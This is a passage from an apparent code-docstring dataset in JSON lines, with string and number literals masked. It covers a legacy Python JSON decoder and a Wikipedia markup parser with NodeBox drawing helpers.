{"signature": "def write(obj):", "body": "import warnings<EOL>warnings.warn(\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>return dumps(obj)<EOL>", "docstring": "jsonlib, JsonUtils, python-json, json-py API compatibility hook.\nUse dumps(s) instead.", "id": "f11590:m7"}
{"signature": "def __init__(self, encoding=None, object_hook=None, parse_float=None,<EOL>parse_int=None, parse_constant=None, strict=True):", "body": "self.encoding = encoding<EOL>self.object_hook = object_hook<EOL>self.parse_float = parse_float<EOL>self.parse_int = parse_int<EOL>self.parse_constant = parse_constant<EOL>self.strict = strict<EOL>", "docstring": "``encoding`` determines the encoding used to interpret any ``str``\nobjects decoded by this instance (utf-8 by default).  It has no\neffect when decoding ``unicode`` objects.\n\nNote that currently only encodings that are a superset of ASCII work,\nstrings of other encodings should be passed in as ``unicode``.\n\n``object_hook``, if specified, will be called with the result\nof every JSON object decoded and its return value will be used in\nplace of the given ``dict``.  This can be used to provide custom\ndeserializations (e.g. to support JSON-RPC class hinting).\n\n``parse_float``, if specified, will be called with the string\nof every JSON float to be decoded. By default this is equivalent to\nfloat(num_str). This can be used to use another datatype or parser\nfor JSON floats (e.g. decimal.Decimal).\n\n``parse_int``, if specified, will be called with the string\nof every JSON int to be decoded. By default this is equivalent to\nint(num_str). This can be used to use another datatype or parser\nfor JSON integers (e.g. float).\n\n``parse_constant``, if specified, will be called with one of the\nfollowing strings: -Infinity, Infinity, NaN, null, true, false.\nThis can be used to raise an exception if invalid JSON numbers\nare encountered.", "id": "f11591:c0:m0"}
{"signature": "def decode(self, s, _w=WHITESPACE.match):", "body": "obj, end = self.raw_decode(s, idx=_w(s, <NUM_LIT:0>).end())<EOL>end = _w(s, end).end()<EOL>if end != len(s):<EOL><INDENT>raise ValueError(errmsg(\"<STR_LIT>\", s, end, len(s)))<EOL><DEDENT>return obj<EOL>", "docstring": "Return the Python representation of ``s`` (a ``str`` or ``unicode``\ninstance containing a JSON document)", "id": "f11591:c0:m1"}
{"signature": "def raw_decode(self, s, **kw):", "body": "kw.setdefault('<STR_LIT>', self)<EOL>try:<EOL><INDENT>obj, end = self._scanner.iterscan(s, **kw).next()<EOL><DEDENT>except StopIteration:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return obj, end<EOL>", "docstring": "Decode a JSON document from ``s`` (a ``str`` or ``unicode`` beginning\nwith a JSON document) and return a 2-tuple of the Python\nrepresentation and the index in ``s`` where the document ended.\n\nThis can be used to decode a JSON document from a string that may\nhave extraneous data at the end.", "id": "f11591:c0:m2"}
{"signature": "def iterscan(self, string, idx=<NUM_LIT:0>, context=None):", "body": "match = self.scanner.scanner(string, idx).match<EOL>actions = self.actions<EOL>lastend = idx<EOL>end = len(string)<EOL>while True:<EOL><INDENT>m = match()<EOL>if m is None:<EOL><INDENT>break<EOL><DEDENT>matchbegin, matchend = m.span()<EOL>if lastend == matchend:<EOL><INDENT>break<EOL><DEDENT>action = actions[m.lastindex]<EOL>if action is not None:<EOL><INDENT>rval, next_pos = action(m, context)<EOL>if next_pos is not None and next_pos != matchend:<EOL><INDENT>matchend = next_pos<EOL>match = self.scanner.scanner(string, matchend).match<EOL><DEDENT>yield rval, matchend<EOL><DEDENT>lastend = matchend<EOL><DEDENT>", "docstring": "Yield match, end_idx for each match", "id": "f11592:c0:m1"}
{"signature": "def _parse(self):", "body": "p1 = \"<STR_LIT>\"<EOL>p2 = \"<STR_LIT>\"<EOL>self.links = []<EOL>for p in (p1,p2):<EOL><INDENT>for link in re.findall(p, self.description):<EOL><INDENT>self.links.append(link)<EOL><DEDENT>self.description = re.sub(p, \"<STR_LIT>\", self.description)<EOL><DEDENT>self.description = self.description.strip()<EOL>", "docstring": "Strips links from the definition and gathers them in a links property.", "id": "f11593:c0:m1"}
{"signature": "def is_preformatted(str):", "body": "for chunk in str.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if  not chunk.startswith(\"<STR_LIT:U+0020>\"):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Determines if an item in a paragraph is preformatted.\n\n    If all of the lines in the markup start with a \" \"\n    this indicates preformatted text.\n    Preformatted is usually used for programming code.", "id": "f11594:m1"}
{"signature": "def is_list(str):", "body": "for chunk in str.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>chunk = chunk.replace(\"<STR_LIT:\\t>\", \"<STR_LIT>\")<EOL>if  not chunk.lstrip().startswith(\"<STR_LIT:*>\")and not re.search(r\"<STR_LIT>\", chunk.lstrip()):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Determines if an item in a paragraph is a list.\n\n    If all of the lines in the markup start with a \"*\" or \"1.\" \n    this indicates a list as parsed by parse_paragraphs().\n    It can be drawn with draw_list().", "id": "f11594:m2"}
{"signature": "def is_math(str):", "body": "str = str.strip()<EOL>if str.startswith(\"<STR_LIT>\") and str.endswith(\"<STR_LIT>\"):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Determines if an item in a paragraph is a LaTeX math equation.\n\n    Math equations are wrapped in <math></math> tags.\n    They can be drawn as an image using draw_math().", "id": "f11594:m3"}
{"signature": "def draw_math(str, x, y, alpha=<NUM_LIT:1.0>):", "body": "try: from web import _ctx<EOL>except: pass<EOL>str = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", str.strip())<EOL>img = mimetex.gif(str)<EOL>w, h = _ctx.imagesize(img)<EOL>_ctx.image(img, x, y, alpha=alpha)<EOL>return w, h<EOL>", "docstring": "Uses mimetex to generate a GIF-image from the LaTeX equation.", "id": "f11594:m4"}
{"signature": "def textwidth(str):", "body": "try: from web import _ctx<EOL>except: pass<EOL>l = _ctx.lineheight()<EOL>_ctx.lineheight(<NUM_LIT:1>)<EOL>w = _ctx.textwidth(str)<EOL>_ctx.lineheight(l)<EOL>return w<EOL>", "docstring": "textwidth() reports incorrectly when lineheight() is smaller than 1.0", "id": "f11594:m5"}
{"signature": "def draw_list(markup, x, y, w, padding=<NUM_LIT:5>, callback=None):", "body": "try: from web import _ctx<EOL>except: pass<EOL>i = <NUM_LIT:1><EOL>for chunk in markup.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if callback != None: <EOL><INDENT>callback(chunk, i)<EOL><DEDENT>m = re.search(\"<STR_LIT>\", chunk.lstrip())<EOL>if m:<EOL><INDENT>indent = re.search(\"<STR_LIT>\", chunk).start()*padding*<NUM_LIT:2><EOL>bullet = m.group(<NUM_LIT:1>)<EOL>dx = textwidth(\"<STR_LIT>\")<EOL>chunk = chunk.lstrip(m.group(<NUM_LIT:1>)+\"<STR_LIT:\\t>\")<EOL><DEDENT>if chunk.lstrip().startswith(\"<STR_LIT:*>\"):<EOL><INDENT>indent = chunk.find(\"<STR_LIT:*>\")*padding*<NUM_LIT:2><EOL>bullet = u\"<STR_LIT>\"<EOL>dx = textwidth(\"<STR_LIT:*>\")<EOL>chunk = chunk.lstrip(\"<STR_LIT>\")<EOL><DEDENT>_ctx.text(bullet, x+indent, y)<EOL>dx += padding + indent<EOL>_ctx.text(chunk, x+dx, y, width=w-dx)<EOL>y += _ctx.textheight(chunk, width=w-dx)<EOL>y += _ctx.textheight(\"<STR_LIT:U+0020>\") * <NUM_LIT><EOL>i += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Draws list markup with indentation in NodeBox.\n\n    Draw list markup at x, y coordinates\n    using indented bullets or numbers.\n    The callback is a command that takes a str and an int.", "id": "f11594:m6"}
{"signature": "def draw_table(table, x, y, w, padding=<NUM_LIT:5>):", "body": "try: from web import _ctx<EOL>except: pass<EOL>f = _ctx.fill()<EOL>_ctx.stroke(f)<EOL>h = _ctx.textheight(\"<STR_LIT:U+0020>\") + padding*<NUM_LIT:2><EOL>row_y = y<EOL>if table.title != \"<STR_LIT>\":<EOL><INDENT>_ctx.fill(f)<EOL>_ctx.rect(x, row_y, w, h)<EOL>_ctx.fill(<NUM_LIT:1>)<EOL>_ctx.text(table.title, x+padding, row_y+_ctx.fontsize()+ padding)<EOL>row_y += h<EOL><DEDENT>rowspans = [<NUM_LIT:1> for i in range(<NUM_LIT:10>)]<EOL>previous_cell_w = <NUM_LIT:0><EOL>for row in table:<EOL><INDENT>cell_x = x<EOL>cell_w  = <NUM_LIT:1.0> * w<EOL>cell_w -= previous_cell_w * len([n for n in rowspans if n > <NUM_LIT:1>])<EOL>cell_w /= len(row)<EOL>cell_h = <NUM_LIT:0><EOL>for cell in row:<EOL><INDENT>this_h = _ctx.textheight(cell, width=cell_w-padding*<NUM_LIT:2>) + padding*<NUM_LIT:2><EOL>cell_h = max(cell_h, this_h)<EOL><DEDENT>i = <NUM_LIT:0><EOL>for cell in row:<EOL><INDENT>if rowspans[i] > <NUM_LIT:1>:<EOL><INDENT>rowspans[i] -= <NUM_LIT:1><EOL>cell_x += previous_cell_w<EOL>i += <NUM_LIT:1><EOL><DEDENT>m = re.search(\"<STR_LIT>\", cell.properties)<EOL>if m:<EOL><INDENT>rowspan = int(m.group(<NUM_LIT:1>))<EOL>rowspans[i] = rowspan<EOL><DEDENT>else:<EOL><INDENT>rowspan = <NUM_LIT:1><EOL><DEDENT>_ctx.fill(f)<EOL>_ctx.text(cell, cell_x+padding, row_y+_ctx.fontsize()+padding, cell_w-padding*<NUM_LIT:2>)<EOL>_ctx.line(cell_x, row_y, cell_x+cell_w, row_y)<EOL>if cell_x > x:<EOL><INDENT>_ctx.nofill()<EOL>_ctx.line(cell_x, row_y, cell_x, row_y+cell_h)<EOL><DEDENT>cell_x += cell_w<EOL>i += <NUM_LIT:1><EOL><DEDENT>row_y += cell_h<EOL>previous_cell_w = cell_w<EOL><DEDENT>_ctx.nofill()<EOL>_ctx.rect(x, y, w, row_y-y)<EOL>", "docstring": "This is a very poor algorithm to draw Wikipedia tables in NodeBox.", "id": "f11594:m7"}
{"signature": "def __init__(self, title, markup, light=False, full_strip=True):", "body": "self.title = title<EOL>self.markup = markup<EOL>self.full_strip = full_strip<EOL>self.disambiguation = []<EOL>self.categories = []<EOL>self.links = []<EOL>self.paragraphs = []<EOL>self.images = []<EOL>self.tables = []<EOL>self.references = []<EOL>self.translations = {}<EOL>self.important = []<EOL>self.re = {<EOL>\"<STR_LIT>\" : r\"<STR_LIT>\",<EOL>\"<STR_LIT>\"       : r\"<STR_LIT>\",<EOL>\"<STR_LIT>\"           : r\"<STR_LIT>\",<EOL>\"<STR_LIT:image>\"          : re.compile(r\"<STR_LIT>\", re.I),<EOL>\"<STR_LIT>\"        : re.compile(\"<STR_LIT>\", re.DOTALL),<EOL>\"<STR_LIT>\"          : re.compile(r\"<STR_LIT>\", re.DOTALL),<EOL>\"<STR_LIT>\"     : re.compile(r\"<STR_LIT>\", re.DOTALL),<EOL>\"<STR_LIT>\"      : re.compile(r\"<STR_LIT>\", re.DOTALL),<EOL>\"<STR_LIT>\"       : re.compile(r\"<STR_LIT>\", re.DOTALL),<EOL>\"<STR_LIT:url>\"            : r\"<STR_LIT>\",            <EOL>\"<STR_LIT>\"   : re.compile(r\"<STR_LIT>\", re.DOTALL),<EOL>\"<STR_LIT>\"    : r\"<STR_LIT>\",<EOL>\"<STR_LIT>\"           : r\"<STR_LIT>\",<EOL>\"<STR_LIT>\"        : re.compile(r\"<STR_LIT>\", re.DOTALL),       <EOL>}<EOL>self.ref = \"<STR_LIT>\"<EOL>self.parse(light)<EOL>", "docstring": "Wikipedia page parser.\n\n        The expected markup is the stuff in Wikipedia's edit textarea.\n        With light=True, it will onlt parse links to other articles (which is faster).\n        With full_strip=False, it will preserve some HTML markup (links, bold, italic).", "id": "f11594:c8:m0"}
{"signature": "def parse(self, light=False):", "body": "markup = self.markup<EOL>self.disambiguation = self.parse_disambiguation(markup)<EOL>self.categories = self.parse_categories(markup)<EOL>self.links = self.parse_links(markup)<EOL>if not light:<EOL><INDENT>markup = self.convert_pre(markup)<EOL>markup = self.convert_li(markup)<EOL>markup = self.convert_table(markup)<EOL>markup = replace_entities(markup)<EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)<EOL>self.references, markup = self.parse_references(markup)<EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)<EOL>self.images, markup = self.parse_images(markup)<EOL>self.images.extend(self.parse_gallery_images(markup))<EOL>self.paragraphs = self.parse_paragraphs(markup)<EOL>self.tables = self.parse_tables(markup)<EOL>self.translations = self.parse_translations(markup)<EOL>self.important = self.parse_important(markup)<EOL><DEDENT>", "docstring": "Parses data from Wikipedia page markup.\n\n        The markup comes from Wikipedia's edit page.\n        We parse it here into objects containing plain text.\n        The light version parses only links to other articles, it's faster than a full parse.", "id": "f11594:c8:m4"}
{"signature": "def plain(self, markup):", "body": "<EOL>if self.full_strip:<EOL><INDENT>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)<EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)<EOL><DEDENT>markup = re.sub(self.re[\"<STR_LIT>\"], \"<STR_LIT>\", markup)<EOL>markup = re.sub(self.re[\"<STR_LIT>\"], \"<STR_LIT>\", markup)<EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>if self.full_strip:<EOL><INDENT>markup = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", markup)<EOL><DEDENT>else:<EOL><INDENT>markup = re.sub(r\"<STR_LIT>\", '<STR_LIT>', markup)<EOL>markup = re.sub(r\"<STR_LIT>\", '<STR_LIT>', markup)    <EOL><DEDENT>markup = re.sub(self.re[\"<STR_LIT>\"], \"<STR_LIT>\", markup)<EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)<EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)<EOL>markup = markup.replace(\"<STR_LIT:[>\", \"<STR_LIT>\")<EOL>markup = markup.replace(\"<STR_LIT:]>\", \"<STR_LIT>\")<EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT:[>\")<EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT:]>\")<EOL>markup = re.sub(self.re[\"<STR_LIT>\"], \"<STR_LIT>\", markup)                  <EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)                      <EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)           <EOL>markup = re.sub(self.ref+\"<STR_LIT>\", \"<STR_LIT>\", markup)        <EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)                 <EOL>markup = re.sub(self.re[\"<STR_LIT>\"], \"<STR_LIT>\", markup)                    <EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)            <EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)                   <EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)         <EOL>markup = re.sub(re.compile(\"<STR_LIT>\", re.DOTALL), \"<STR_LIT>\", markup)  <EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT:U+0020>\", markup)<EOL>markup = markup.split(\"<STR_LIT:\\n>\")<EOL>for i in range(len(markup)):<EOL><INDENT>if not markup[i].startswith(\"<STR_LIT:U+0020>\"):<EOL><INDENT>markup[i] = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", markup[i])<EOL><DEDENT><DEDENT>markup = \"<STR_LIT:\\n>\".join(markup)<EOL>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT:.>\")<EOL>if self.full_strip:<EOL><INDENT>markup = strip_tags(markup, exclude=[\"<STR_LIT>\"], linebreaks=True)<EOL><DEDENT>markup = markup.strip()<EOL>return markup<EOL>", "docstring": "Strips Wikipedia markup from given text.\n\n        This creates a \"plain\" version of the markup,\n        stripping images and references and the like.\n        Does some commonsense maintenance as well,\n        like collapsing multiple spaces.\n        If you specified full_strip=False for WikipediaPage instance,\n        some markup is preserved as HTML (links, bold, italic).", "id": "f11594:c8:m5"}
{"signature": "def convert_pre(self, markup):", "body": "for m in re.findall(self.re[\"<STR_LIT>\"], markup):<EOL><INDENT>markup = markup.replace(m, m.replace(\"<STR_LIT:\\n>\", \"<STR_LIT>\"))<EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)<EOL>markup = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", markup)<EOL><DEDENT>return markup<EOL>", "docstring": "Substitutes <pre> to Wikipedia markup by adding a space at the start of a line.", "id": "f11594:c8:m6"}
{"signature": "def convert_li(self, markup):", "body": "for li in re.findall(\"<STR_LIT>\", markup):<EOL><INDENT>markup = re.sub(li, \"<STR_LIT>\", markup)<EOL><DEDENT>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>return markup<EOL>", "docstring": "Subtitutes <li> content to Wikipedia markup.", "id": "f11594:c8:m7"}
{"signature": "def convert_table(self, markup):", "body": "for table in re.findall(self.re[\"<STR_LIT>\"], markup):<EOL><INDENT>wiki = table<EOL>wiki = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", wiki)<EOL>wiki = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", wiki)<EOL>wiki = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", wiki)<EOL>wiki = wiki.replace(\"<STR_LIT>\", \"<STR_LIT:\\n>\")<EOL>wiki = wiki.replace(\"<STR_LIT>\", \"<STR_LIT:\\n>\")<EOL>wiki = wiki.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>markup = markup.replace(table, wiki)<EOL><DEDENT>return markup<EOL>", "docstring": "Subtitutes <table> content to Wikipedia markup.", "id": "f11594:c8:m8"}
{"signature": "def parse_links(self, markup):", "body": "links = []<EOL>m = re.findall(self.re[\"<STR_LIT>\"], markup)<EOL>for link in m:<EOL><INDENT>if link.find(\"<STR_LIT:{>\") >= <NUM_LIT:0>:<EOL><INDENT>link = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", link)<EOL>link = link.replace(\"<STR_LIT:{>\", \"<STR_LIT>\")<EOL>link = link.replace(\"<STR_LIT:}>\", \"<STR_LIT>\")            <EOL><DEDENT>link = link.split(\"<STR_LIT:|>\")<EOL>link[<NUM_LIT:0>] = link[<NUM_LIT:0>].split(\"<STR_LIT:#>\")<EOL>page = link[<NUM_LIT:0>][<NUM_LIT:0>].strip()<EOL>if not page in links:<EOL><INDENT>links.append(page)<EOL><DEDENT><DEDENT>links.sort()<EOL>return links<EOL>", "docstring": "Returns a list of internal Wikipedia links in the markup.\n\n        # A Wikipedia link looks like:\n        # [[List of operating systems#Embedded | List of embedded operating systems]]\n        # It does not contain a colon, this indicates images, users, languages, etc.\n\n        The return value is a list containing the first part of the link,\n        without the anchor.", "id": "f11594:c8:m9"}
{"signature": "def parse_images(self, markup, treshold=<NUM_LIT:6>):", "body": "images = []<EOL>m = re.findall(self.re[\"<STR_LIT:image>\"], markup)<EOL>for p in m:<EOL><INDENT>p = self.parse_balanced_image(p)<EOL>img = p.split(\"<STR_LIT:|>\")<EOL>path = img[<NUM_LIT:0>].replace(\"<STR_LIT>\", \"<STR_LIT>\").strip()<EOL>description = u\"<STR_LIT>\"<EOL>links = {}<EOL>properties = []<EOL>if len(img) > <NUM_LIT:1>:<EOL><INDENT>img = \"<STR_LIT:|>\".join(img[<NUM_LIT:1>:])<EOL>links = self.parse_links(img)<EOL>properties = self.plain(img).split(\"<STR_LIT:|>\")<EOL>description = u\"<STR_LIT>\"<EOL>if len(properties[-<NUM_LIT:1>]) > treshold:<EOL><INDENT>description = properties[-<NUM_LIT:1>]<EOL>properties = properties[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>img = WikipediaImage(path, description, links, properties)<EOL>images.append(img)<EOL>markup = markup.replace(p, \"<STR_LIT>\")<EOL><DEDENT>return images, markup.strip()<EOL>", "docstring": "Returns a list of images found in the markup.\n\n        An image has a pathname, a description in plain text\n        and a list of properties Wikipedia uses to size and place images.\n\n        # A Wikipedia image looks like:\n        # [[Image:Columbia Supercomputer - NASA Advanced Supercomputing Facility.jpg|right|thumb|\n        #   The [[NASA]] [[Columbia (supercomputer)|Columbia Supercomputer]].]]\n        # Parts are separated by \"|\".\n        # The first part is the image file, the last part can be a description.\n        # In between are display properties, like \"right\" or \"thumb\".", "id": "f11594:c8:m10"}
{"signature": "def parse_balanced_image(self, markup):", "body": "opened = <NUM_LIT:0><EOL>closed = <NUM_LIT:0><EOL>for i in range(len(markup)):<EOL><INDENT>if markup[i] == \"<STR_LIT:[>\": opened += <NUM_LIT:1><EOL>if markup[i] == \"<STR_LIT:]>\": closed += <NUM_LIT:1><EOL>if opened == closed:<EOL><INDENT>return markup[:i+<NUM_LIT:1>]<EOL><DEDENT><DEDENT>return markup<EOL>", "docstring": "Corrects Wikipedia image markup.\n\n        Images have a description inside their link markup that \n        can contain link markup itself, make sure the outer \"[\" and \"]\" brackets \n        delimiting the image are balanced correctly (e.g. no [[ ]] ]]).\n\n        Called from parse_images().", "id": "f11594:c8:m11"}
{"signature": "def parse_gallery_images(self, markup):", "body": "gallery = re.search(self.re[\"<STR_LIT>\"], markup)<EOL>if gallery:<EOL><INDENT>gallery = gallery.group(<NUM_LIT:1>)<EOL>gallery = gallery.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>gallery = gallery.replace(\"<STR_LIT:\\n>\", \"<STR_LIT>\")<EOL>images, markup = self.parse_images(gallery)<EOL>return images<EOL><DEDENT>return []<EOL>", "docstring": "Parses images from the <gallery></gallery> section.\n\n        Images inside <gallery> tags do not have outer \"[[\" brackets.\n        Add these and then parse again.", "id": "f11594:c8:m12"}
{"signature": "def parse_paragraph(self, markup):", "body": "s = self.plain(markup)<EOL>s = re.sub(re.compile(\"<STR_LIT>\", re.DOTALL), \"<STR_LIT>\", s)<EOL>s = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", s)<EOL>chunks = []<EOL>ch = \"<STR_LIT>\"<EOL>i = <NUM_LIT:1><EOL>for chunk in s.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if chunk.startswith(\"<STR_LIT::>\"):<EOL><INDENT>chunk = chunk.lstrip(\"<STR_LIT::>\")<EOL><DEDENT>if len(chunk.strip()) > <NUM_LIT:1>:<EOL><INDENT>if not chunk.startswith(\"<STR_LIT:|>\"):<EOL><INDENT>ch += chunk + \"<STR_LIT:\\n>\"<EOL><DEDENT><DEDENT>if ch.strip() != \"<STR_LIT>\":<EOL><INDENT>if not re.search(\"<STR_LIT>\", chunk):<EOL><INDENT>ch = self.parse_paragraph_list(ch)<EOL>chunks.append(ch.rstrip())<EOL>ch = \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>if ch.strip() != \"<STR_LIT>\":<EOL><INDENT>ch = self.parse_paragraph_list(ch)<EOL>chunks.append(ch.strip())<EOL><DEDENT>return chunks<EOL>", "docstring": "Creates a list from lines of text in a paragraph.\n\n        Each line of text is a new item in the list,\n        except lists and preformatted chunks (<li> and <pre>),\n        these are kept together as a single chunk.\n\n        Lists are formatted using parse_paragraph_list().\n\n        Empty lines are stripped from the output.\n        Indentation (i.e. lines starting with \":\") is ignored.\n\n        Called from parse_paragraphs() method.", "id": "f11594:c8:m13"}
{"signature": "def parse_paragraph_list(self, markup, indent=\"<STR_LIT:\\t>\"):", "body": "def lastleft(ch, str):<EOL><INDENT>n = <NUM_LIT:0><EOL>while n < len(str) and str[n] == ch: n += <NUM_LIT:1><EOL>return n        <EOL><DEDENT>tally = [<NUM_LIT:1> for i in range(<NUM_LIT:10>)]<EOL>chunks = markup.split(\"<STR_LIT:\\n>\")<EOL>for i in range(len(chunks)):<EOL><INDENT>if chunks[i].startswith(\"<STR_LIT:#>\"):<EOL><INDENT>j = min(lastleft(\"<STR_LIT:#>\", chunks[i]), len(tally)-<NUM_LIT:1>)<EOL>chunks[i] = indent*(j-<NUM_LIT:1>) + str(tally[j])+\"<STR_LIT>\" + chunks[i][j:]<EOL>chunks[i] = chunks[i].replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>tally[j] += <NUM_LIT:1><EOL>for k in range(j+<NUM_LIT:1>, len(tally)): <EOL><INDENT>tally[k] = <NUM_LIT:1><EOL><DEDENT><DEDENT>if chunks[i].startswith(\"<STR_LIT:;>\"):<EOL><INDENT>chunks[i] = \"<STR_LIT:*>\" + chunks[i][<NUM_LIT:1>:]<EOL><DEDENT>if chunks[i].startswith(\"<STR_LIT:*>\"):<EOL><INDENT>j = lastleft(\"<STR_LIT:*>\", chunks[i])  <EOL>chunks[i] = indent*(j-<NUM_LIT:1>) + \"<STR_LIT>\" + chunks[i][j:]<EOL>chunks[i] = chunks[i].replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT><DEDENT>return \"<STR_LIT:\\n>\".join(chunks)<EOL>", "docstring": "Formats bullets and numbering of Wikipedia lists.\n\n        List items are marked by \"*\", \"#\" or \";\" at the start of a line.\n        We treat \";\" the same as \"*\",\n        and replace \"#\" with real numbering (e.g. \"2.\").\n        Sublists (e.g. *** and ###) get indented by tabs.\n\n        Called from parse_paragraphs() method.", "id": "f11594:c8:m14"}
{"signature": "def parse_paragraph_heading_depth(self, markup):", "body": "return markup.count(\"<STR_LIT:=>\")/<NUM_LIT:2> - <NUM_LIT:1><EOL>", "docstring": "Returns the depth of a heading.\n\n        The depth determines parent and child relations,\n        which headings (and hence which paragraphs) are a child to a heading higher up.\n        Returns 0 for <h1> =, 1 for <h2> ==, etc.\n\n        Called from parse_paragraphs() method.", "id": "f11594:c8:m15"}
{"signature": "def connect_paragraph(self, paragraph, paragraphs):", "body": "if paragraph.depth > <NUM_LIT:0>:<EOL><INDENT>n = range(len(paragraphs))<EOL>n.reverse()<EOL>for i in n:<EOL><INDENT>if paragraphs[i].depth == paragraph.depth-<NUM_LIT:1>:<EOL><INDENT>paragraph.parent = paragraphs[i]<EOL>paragraphs[i].children.append(paragraph)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>return paragraph<EOL>", "docstring": "Create parent/child links to other paragraphs.\n\n        The paragraphs parameters is a list of all the paragraphs\n        parsed up till now.\n\n        The parent is the previous paragraph whose depth is less.\n        The parent's children include this paragraph.\n\n        Called from parse_paragraphs() method.", "id": "f11594:c8:m16"}
{"signature": "def parse_paragraph_references(self, markup):", "body": "for chunk in markup.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>m = re.search(self.ref+\"<STR_LIT>\", chunk)<EOL>if m:<EOL><INDENT>chunk = chunk.strip(\"<STR_LIT>\")<EOL>chunk = chunk.replace(m.group(<NUM_LIT:0>), \"<STR_LIT>\")<EOL>chunk = self.plain(chunk)<EOL>i = int(m.group(<NUM_LIT:1>))<EOL>if chunk != \"<STR_LIT>\":<EOL><INDENT>self.references[i-<NUM_LIT:1>].note = chunk<EOL><DEDENT><DEDENT>elif chunk.strip().startswith(\"<STR_LIT:*>\")and chunk.find(\"<STR_LIT>\") < <NUM_LIT:0>:<EOL><INDENT>chunk = chunk.strip(\"<STR_LIT>\")<EOL>chunk = self.plain(chunk)<EOL>if chunk != \"<STR_LIT>\":<EOL><INDENT>r = WikipediaReference()<EOL>r.note = chunk<EOL>self.references.append(r)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Updates references with content from specific paragraphs.\n\n        The \"references\", \"notes\", \"external links\" paragraphs \n        are double-checked for references. Not all items in the list\n        might have been referenced inside the article, or the item\n        might contain more info than we initially parsed from it.\n\n        Called from parse_paragraphs() method.", "id": "f11594:c8:m17"}
{"signature": "def parse_paragraphs(self, markup):", "body": "<EOL>refs = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>exclude = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>exclude.extend(refs)<EOL>paragraphs = []<EOL>paragraph = WikipediaParagraph(self.title)<EOL>paragraph_data = \"<STR_LIT>\"<EOL>for chunk in markup.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if not chunk.startswith(\"<STR_LIT:U+0020>\"):<EOL><INDENT>chunk = chunk.strip()<EOL><DEDENT>if chunk.startswith(\"<STR_LIT:=>\"):<EOL><INDENT>if paragraph.title.lower() in refsor (paragraph.parent and paragraph.parent.title.lower() in refs):<EOL><INDENT>self.parse_paragraph_references(paragraph_data)<EOL><DEDENT>paragraph.extend(self.parse_paragraph(paragraph_data))<EOL>paragraphs.append(paragraph)<EOL>title = chunk.strip().strip(\"<STR_LIT:=>\")<EOL>title = self.plain(title)<EOL>paragraph = WikipediaParagraph(title)<EOL>paragraph.depth = self.parse_paragraph_heading_depth(chunk)<EOL>if paragraph.title.lower() not in exclude:<EOL><INDENT>paragraph = self.connect_paragraph(paragraph, paragraphs)<EOL><DEDENT>paragraph_data = \"<STR_LIT>\"<EOL><DEDENT>elif re.search(re.compile(\"<STR_LIT>\", re.I), 